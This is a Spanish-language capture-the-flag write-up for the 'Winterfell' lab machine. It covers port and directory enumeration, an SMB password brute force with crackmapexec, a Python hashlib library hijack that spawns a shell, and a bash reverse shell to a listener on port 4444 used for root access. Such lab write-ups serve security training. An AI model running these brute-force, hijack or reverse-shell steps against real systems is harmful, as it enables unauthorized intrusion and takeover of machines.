> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/winterfell-write-up.md).

# Winterfell write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FHDEujEP3KFr7x3HZlhVL%2F1.png?alt=media&amp;token=00ca09f5-67fa-4854-885a-f84abf31d8d0" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FW6AT47yVWXWCDJdumUTv%2F2.png?alt=media&amp;token=960668e5-2a52-4a88-9709-7001fd032ed5" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH), 80 (HTTP), 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que ingresamos la IP de la máquina víctima y observamos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F2vWzi3EK8FbJjQGmvjWX%2F3.png?alt=media&amp;token=7291aca3-9a44-4a97-9721-959f2febde55" alt=""><figcaption></figcaption></figure>

Como no encontramos nada interesante vamos a utilizar la herramienta llamada **Dirb** para buscar rutas ocultas con el siguiente comando:

```bash
 dirb http://172.17.0.2/
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fxjj3g1pZM3OMTxkhew6M%2F4.png?alt=media&amp;token=155554df-9c73-4b1e-ab79-be7f78660109" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe un listado de directorios en la ruta `http://172.17.0.2/dragon/`, así que la ingresamos en el navegador y observamos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FT385dTqfBgL3kzJNQyW1%2F5.png?alt=media&amp;token=acb20fb4-c354-4b55-8e29-5a42610799ca" alt=""><figcaption></figcaption></figure>

Observamos un archivo llamado `EpisodiosT1` el cual contiene lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FYIBr7c4AflmkQyuRE9Vz%2F6.png?alt=media&amp;token=72172dc4-6b34-4d26-a17f-bf559527a10c" alt=""><figcaption></figcaption></figure>

Esto parece un diccionario que podría contener contraseñas o usuarios, así que vamos a crear un archivo para guardar el contenido.

Ahora usaremos **enum4linux** para encontrar posibles usuarios del servicio **Samba**, para ello ejecutaremos el siguiente comando:

```bash
enum4linux 172.17.0.2 
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FDOLBfEG5P7ddBg8UngeU%2F7.png?alt=media&amp;token=f56babe7-de8a-4545-a10a-131f9ecf33db" alt=""><figcaption></figcaption></figure>

Esto nos lista a los usuarios `jon`, `aria` y `daenerys`. Por lo tanto, guardamos estos usuarios en un archivo y realizamos un ataque de fuerza bruta utilizando el diccionario encontrado anteriormente. Ahora, para hacer el ataque de fuerza bruta vamos a usar `crackmapexec` con el siguiente comando:

```bash
crackmapexec smb 172.17.0.2 -u usuarios.txt -p contrasena.txt
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FtMu1A0X600cIp0kkMiSw%2F8.png?alt=media&amp;token=ec730722-6d7a-41d8-9937-e05e4616cbe7" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `jon` es `seacercaelinvierno`, así que ahora vamos a usar **smbmap** para ver los recursos a los que se pueden acceder con el siguiente comando:

```bash
smbmap -H 172.17.0.2 -u "jon" -p "seacercaelinvierno"
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F9Rw368NQ0Am7UtvgWqWb%2F9.png?alt=media&amp;token=1ea5a16f-7a33-458b-9065-cbeae1942b1d" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos de lectura y escritura en el directorio `shared`, así que vamos a acceder a él usando **smbclient** con el siguiente comando:

```bash
smbclient //172.17.0.2/shared -U "jon"   
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FtCoFOgjyVAY13H4nqXuT%2F10.png?alt=media&amp;token=8fb89f8e-243a-482a-87d1-1384ddfa325f" alt=""><figcaption></figcaption></figure>

Una vez dentro encontramos el archivo llamado `proteccion_del_reino`, así que descargamos el archivo y comprobamos su contenido

```bash
get proteccion_del_reino
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FqMI62SofYVZq6UV2Kr0V%2F11.png?alt=media&amp;token=fedab73d-d5c1-4e55-8978-a3f6a6db1568" alt=""><figcaption></figcaption></figure>

Vemos una contraseña cifrada en base64, así que ejecutamos el siguiente comando para desencriptarla:

```bash
echo "aGlqb2RlbGFuaXN0ZXI=" | base64 -d
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FJNCJYVnGuqhEZJrgApIR%2F12.png?alt=media&amp;token=26ca87a2-f93a-4482-b4f2-46f32aece76f" alt=""><figcaption></figcaption></figure>

Vemos que la contraseña desencriptada corresponde con `hijodelanister`, así que la utilizamos para iniciar sesión por el servicio SSH como el usuario `jon`.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F1Hj7el7zO2p00ogBtjNm%2F13.png?alt=media&amp;token=64c7db11-7c55-4641-8ddf-9ebdcfa4342d" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima como el usuario `jon`, ejecutamos el comando `sudo -l`. Este comando nos indica que podemos ejecutar el fichero `/home/jon/.mensaje.py` como el usuario `aria` utilizando Python. Por lo tanto, vamos a ver el contenido del programa:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FqMWnZEf7ZbansVZp9Nlr%2F14.png?alt=media&amp;token=496f588c-4c25-4c28-a04f-0157ab4551dd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FY8l40KcFz1DEKOrKP8av%2F15.png?alt=media&amp;token=f89c0306-cc11-4da5-baa8-52468b0f8215" alt=""><figcaption></figcaption></figure>

Observamos que el programa está usando la librería `hashlib`, así que vamos a crear un archivo que se llama `hashlib.py` para que al ejecutar `/home/jon/.mensaje.py` como aria nos envíe una shell interactiva. Para ello, el archivo `hashlib.py` contendrá lo siguiente:

```python
import os

os.execl("/bin/bash", "bash", "-p")
```

Y ahora solo lo ejecutamos `/home/jon/.mensaje.py` como aria con el siguiente comando:

```bash
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FiDB4eb1xAdYGSZVUiuhC%2F16.png?alt=media&amp;token=73373b8a-dd84-4538-8d09-d77b0af2cf4d" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario aria, ejecutamos nuevamente el comando `sudo -l`, el cual nos indica que podemos ejecutar los binarios `/usr/bin/cat` y `/usr/bin/ls` como el usuario `daenerys`.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fw1Roqj4PYBvmWRfxFY08%2F17.png?alt=media&amp;token=5be22ac6-a097-40d8-9a3d-37e14e429e48" alt=""><figcaption></figcaption></figure>

Así que vamos a ver el contenido del directorio home del usuario `daenerys` con el siguiente comando:

```bash
sudo -u daenerys /usr/bin/ls /home/daenerys
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FUrht7RcjqAeLBrKi4yge%2F18.png?alt=media&amp;token=a99315d0-74eb-4848-a0e9-b115b3adac8a" alt=""><figcaption></figcaption></figure>

observamos un mensaje dirigido a Jon, así que ejecutamos lo siguiente para ver que contiene:

```bash
sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FksWSLbZGHboyTJiDrAyd%2F19.png?alt=media&amp;token=5e59b0a8-7932-45ad-bf83-2ad1793b3705" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `daenerys` es `drakaris`, así que iniciamos sesión como el usuario `daenerys`.

Una vez somos el usuario `daenerys`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el script `/home/daenerys/.secret/.shell.sh` como cualquier usuario.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FWjtGCDrAOGEw4Hzvmv3f%2F20.png?alt=media&amp;token=9c22158b-a3b9-437d-8395-ea36c495a119" alt=""><figcaption></figcaption></figure>

Así que vamos a modificar el contenido de este script para enviarnos una shell interactiva por el puerto 4444, para ello ingresamos lo siguiente:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FaqosZ5ThzGlfTeirRP9l%2F21.png?alt=media&amp;token=af914378-29db-4bd6-8f4c-89875638791e" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha con **netcat** por el puerto 4444 y ejecutamos el script como usuario root.

```bash
sudo nc -nlvvp 4444
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FsZsXkiw2jYNuLgad1g8b%2F22.png?alt=media&amp;token=90ef19df-127f-4bf4-85c4-fcefe6636b7e" alt=""><figcaption></figcaption></figure>

Y finalmente ya tendríamos una shell con privilegios elevados.
